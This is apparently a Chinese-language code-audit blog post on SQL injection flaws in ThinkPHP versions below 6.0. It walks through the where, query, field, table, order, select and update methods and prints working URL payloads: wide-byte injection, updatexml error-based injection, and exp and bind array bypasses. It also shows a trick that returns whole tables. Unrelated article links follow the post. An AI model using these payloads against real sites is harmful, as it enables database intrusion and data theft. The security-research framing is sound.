版本过多只分析大版本和使用人数较多的版本目前使用人数最多的3.2.3。审计时也是发现多个版本未公开漏洞

测试环境:  Mysql5.6/PHP5.5

首先明确的是在不使用PDO做参数绑定时ThinkPHP全版本都可能存在宽字节注入。

黑盒检测方法:输入于头字节大于7F测试数据例如:

%88%5c%27%5eupdatexml(1,concat(0x7e,database()),3)%23  (%5e 后跟任意T-SQL语句)

白盒检测方法 全局搜索默认格式是否被设置GBK

'DEFAULT_CHARSET' => 'utf-8', // 默认输出编码

或者

mysql_query("SET NAMES gbk");

Where方法

也是使用的最多的条件查询方法,支持查询条件预处理

1. $Model->where("id=%d
and username='%s' and xx='%f'",array($id,$username,$xx))->select();
2. // 或者
3. $Model->where("id=%d
and username='%s' and xx='%f'",$id,$username,$xx)->select();

而他的预处理实际上调用了addslashes() 方法

/**

 * SQL指令安全过滤

 * @access public

 * @param string $str  SQL字符串

 * @return string

 */

public function escapeString($str) {

    return addslashes($str);

}

然而在对单参数传递时where并没对语句做参数化处理而在官方文档多个实例也是只传递了一个参数,包括一些开源项目找到的错误写法。

$result =
$this->db()->where($where)->update($data);

$teachers = $Teacher->where('name', 'like', '%'
. $name . '%')

where代码

/**

 * 指定查询条件 支持安全过滤

 * @access public

 * @param mixed $where 条件表达式

 * @param mixed $parse 预处理参数

 * @return Model

 */

public function where($where,$parse=null){

    if(!is_null($parse) && is_string($where)) {

        if(!is_array($parse)) {

            $parse = func_get_args();

            array_shift($parse);

        }

        $parse = array_map(array($this->db,'escapeString'),$parse);

        $where =   vsprintf($where,$parse);

    }
...
...
... return $this; }

只对$parse参数做了过滤 这种写法对于query()同样有效或者类似处理的方法同样有效。

这也算是开发人员安全意识问题,但在审计时这样的写法是影响全版本的。

QUERY()方法,execute方法

这两个方法支持更多原生sql语句在复杂的业务场景经常遇到

在低于3.1.3版本这两个方法都调用parseSql来解析sql语句

/**

 * 解析SQL语句

 * @access public

 * @param string $sql  SQL指令

 * @param boolean $parse  是否需要解析SQL

 * @return string

 */

protected function parseSql($sql,$parse) {

    // 分析表达式

    if(true === $parse) {

        $options =  $this->_parseOptions();

        $sql    =   $this->db->parseSql($sql,$options);

    }elseif(is_array($parse)){ // SQL预处理

        $sql    =   vsprintf($sql,$parse);

    }else{

        $sql    =   strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX')));

    }

    $this->db->setModel($this->name);

    return $sql;

}

然而parseSql根本就没有对数组参数做预处理就直接查询了。

这个漏洞官方早就披露了但在历史版本仍然可以见到身影。

Table,find,alias,join,union,group,having,comment 方法

Table,find这2个方法都需要select() 进行与数据库查询并未发现过滤

如果参数可控可以直接利用

$Dat=$Data->field($id)->select();

url地址中输入

id=updatexml(1,concat(0x7e,database()),3)
或者数组形式可以躲避value的过滤检测
id[updatexml(1,concat(0x7e,database()),3),1]=1

Table利用方式方式一样

id=users%20where%20%20updatexml(1,concat(0x7e,database()),3)--+
Id[users]=%20where%20%20updatexml(1,concat(0x7e,database()),3)--+

在where之前的做操作都可以这样利用

还有类似

Alias 设置当前数据表的别名

Group 根据一个或多个列对结果集进行分组

Join 用于根据两个或多个表中的列之间的关系

UNION操作用于合并两个或多个 SELECT 语句的结果集

COMMENT方法 用于在生成的SQL语句中添加注释内容

如果参数可控都会造成SQL注入

Order方法

Order方法有个cve编号CVE-2018-16385

在小于5.1.2版本都存在sql注入在官网现在3.2.5最新版已经被修复然而

在3.2.4之前版本这个漏洞依旧存在 而且这个更新函数改动了很多升级可能会出现更多问题

第二个图是补丁之后的对所有参数数组化防止sql注入,考虑问题更加全面增加数组遍历。常规的数组处理利用二维数组可以绕过例如

id[id][updatexml(1,concat(0x7e,database()),3)]=--+

Select方法

前置方法查询数据拼接后都是进入select最后和数据库交互。也是重要的方法在支持一个参数传递往往条件 18年也披露一个漏洞 $options参数可控同类影响的方法还有delete,find

只需要在url中输入

id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

便可注入成功都是利用了接收数组参数未验证导致的

/**
* 查询数据集
* @access public * @param array $options 表达式参数 * @return mixed
*/ public function select($options=array()) { $pk = $this->getPk();
... ... // 分析表达式
$options = $this->_parseOptions($options);
...
... return $resultSet; }

虽然在3.2.5版本更新了这个漏洞但在官网3.2.3并未被修复依旧可以被利用这也导致了低于3.2.5版本都可以利用。

在查看官方安全更新代码时发现5.x包括,3.2.5最新版本确实将这个漏洞过滤了但却引发另一个利用可能。

$id=I("get.id");

$Dat=$Data->select($id);

$this->data =  $Dat;

在url输入 id=1%20and%201=1  可以看到执行语句

SELECT * FROM `users` WHERE `id` = 1 [ RunTime:0.0007s ]

可以看到确实这样也不会存在sql注入但是有另一个问题Thinkphp框架特殊性

当你查询一个数据是否存在时,入侵者无法得知你的ip时候可以通过传递一个数组例如

?id[]=1

SELECT * FROM `users` [ RunTime:0.0006s ]

遇到位置错误的时候在拼接where条件时会自动跳过,这样你就看到整表的数据,这种方法也可以利用在delete()方法

update方法

1. $User->where('id=5')->setInc('score'); // 用户的积分加1

2. $User->where('id=5')->setDec('score',5); // 用户的积分减5

在调用setInc,sETDec在调用时如果参数可控也会存在注入

在直接调用update去实例化更新数据同样会参数注入同样的官方也发布了安全更新

例如构建一个对象

$User = M("users");
$user['id'] = I('id');
$valu = $User->where($user)->save($data);

这里也是利用exp注入

Id[0]=exp&id=[1]==1  执行的sql语句为

Select * from users Where id=1

这里的update也是这样的利用方式利用bind 构建的payload:

id[0]=bind&id[1]=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

而它的代码

/**
* 更新记录
* @access public
* @param mixed $data 数据
* @param array $options 表达式
* @return false | integer
*/
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}

从Update代码中发现代码中先调用parseSet  构建的 set xxxx 在拼接完成后 类似

UPDATE xxx SET user=:0 WHERE id= xx

在where条件第二次调用拼接时可以造成SQL注入

elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];

在传递数组时可以达到绕过

Id[0]=bind&id=updatexml(1,concat(0x7e,database()),3)
或者
Id[0]=exp&id=updatexml(1,concat(0x7e,database()),3)

这也是 bind,exp注入

在最后调用execute 方法时默认对:10 进行拼接

这里又会造成第3次注入

比如我们输入

?u=)%20and%20updatexml(1,concat(0x7e,database()),3)%20--+&p=exp&id=:1%27:0

在条件位只输入:1’:0 修改位放我们要注入的语句依旧可以注入成功

这里insert 也是同样的利用方法低于5.0都有这个问题目前官方并未修复虽然利用条件苛刻。

至此在对常用的交互查询,修改方法审计完成。也是发现多个利用条件(踩不完的坑),对于thinkphp在接收数组时的多处理造成的SQL注入,虽然不明白这样设计框架的含义但这样是非常不安全的,很容易接收无法处理的数组导致程序报错重要信息泄露甚至500导致服务器宕机。

也是第一次接触php代码审计,对很多特性都要翻阅官方文档如有遗漏或者错误欢迎补充指正。

ThinkPHP<6.0 SQL注入代码审计分析的更多相关文章

  1. 【转】ThinkPHP 页面跳转

    ThinkPHP 提供了success 与error 方法用于带提示信息的页面跳转,如添加数据后显示提示信息并跳转等.success 方法用于操作成功后的提示,error 用于操作失败后的提示,二者使 ...

  2. 小谈ThinkPHP

    ThinkPHP也是一个MVC框架,分视图.控制器和模型,和Yii框架相比相对较好理解,并且是轻量级的框架(相对于Yii来说),在使用Yii框架时候如果将框架放在项目文件中,用编辑器打开文件都比较慢, ...

  3. 如何搭建易企秀H5平台?

    导读 易企秀如何开启伪静态支持? 一秀如何开启伪静态? 下载易企秀源码 oschina: http://git.oschina.net/jsper/html5Editor Windows下搭建环境 安 ...

  4. Thinkphp学习笔记6-redirect 页面重定向

    ThinkPHP redirect 方法可以实现页面的重定向(跳转)功能.redirect 方法语法如下: $this->redirect(string url, array params, i ...

  5. thinkphp 6.0 在 initialize 中重定向无效

    thinkphp 6.0 在 initialize 中重定向无效 改用 header() 函数 实例: // header('location:/index.php/模块/控制器/方法'); head ...

  6. Thinkphp .htaccess 与 httpd.ini文件重定向转换问题

    .htaccess 文件内容 RewriteEngine OnRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !- ...

  7. ThinkPHP跳转与重定向的区别在哪里

    跳转: 浏览器认为 : 当前 URL 请求成功 , 重新请求新的 URL . 浏览器会记录当前的 URL 和新的 URL 在请求历史记录中. 回退, 是可以回退到 , 当前的 URL 上的 . ( 无 ...

  8. thinkphp 重定向redirect

    /** * URL重定向 * @param string $url 重定向的URL地址 * @param integer $time 重定向的等待时间(秒) * @param string $msg ...

  9. 7——ThinkPhp中的响应和重定向:

    public function index3(){ //响应数据: $data=['title'=>"标题部分","content"=>" ...

  10. nginx 配置web 虚拟文件夹 而且codeIgniter,thinkphp 重定向url 地址

    nginx 配置虚拟文件夹而且url 重定向 server { #侦听80port listen 8090; #定义使用www.xx.com訪问 server_name 127.0.0.1; #设定本 ...

随机推荐

  1. Uva 232 一个换行WA 了四次

    由于UVA OJ上没有Wrong anwser,搞的多花了好长时间去测试程序,之前一直以为改OJ有WA,后来网上一搜才知道没有WA,哎哎浪费了好长时间.此博客用来记录自己的粗心大意. 链接地址:htt ...

  2. 理解Vue.mixin,带你正确的偷懒

    关于Vue.mixin在vue官方文档中是这么解释的: 混入 (mixin) 提供了一种非常灵活的方式,来分发 Vue 组件中的可复用功能.一个混入对象可以包含任意组件选项.当组件使用混入对象时,所有 ...

  3. .ssh/config 文件的解释算法及配置原则

    前言 SSH 是连接远程主机最常用的方式,尽管连接到耽搁主机的基本操作非常直接,但当你开始使用大量的远程系统时,这就会成为笨重和复杂的任务. 幸运的是,OpenSSH 允许您提供自定义的客户端连接选项 ...

  4. 基于djiango实现简易版的图书管理系统

    介绍: 本程序仅仅实现图书数据的增删查 树形结构如下   全部代码如下: url: from django.urls import path from front import views as fr ...

  5. 猿说python

    一.简介         知识改变命运,程序改变世界.互联网时代潜移默化的改变着我们的生活,伴随技术的进步,我想下一个时代应该属于人工智能和机器学习,属于python.           pytho ...

  6. Java 基础篇之集合

    List 集合 List 集合中元素有序.可重复,集合中每个元素都有其对应的索引顺序. List 判断两个对象相等,只要通过 equals 方法比较返回 true 即可. 看个例子: public c ...

  7. java8 base64使用

    java 1.8中引入了Base64,不在需要引入第三方库就可以使用base64了. 在需要用到base64进行加密解密的时候就可以使用了 String text = "base64 in ...

  8. uC/OS-III 时钟节拍(一)

    时钟节拍就是操作系统的时基,操作系统要实现时间上的管理,必须依赖于时基(时基即时间基准,操作系统的基准时钟). uC/OS-III时钟节拍的实现过程 时钟节拍就是系统以固定的频率产生中断(时基中断), ...

  9. Mac OS Catalina 如何删除自带的应用

    在新推送的系统升级过后,(博主系统是Mac OS Mojave 10.14)我们会发现,之前我们删除的令人讨厌的Mac自带应用又回来了,如果我们还按照之前百度的方式删除的话,参考: https://w ...

  10. [LeetCode] 1108. Defanging an IP Address

    Description Given a valid (IPv4) IP address, return a defanged version of that IP address. A defange ...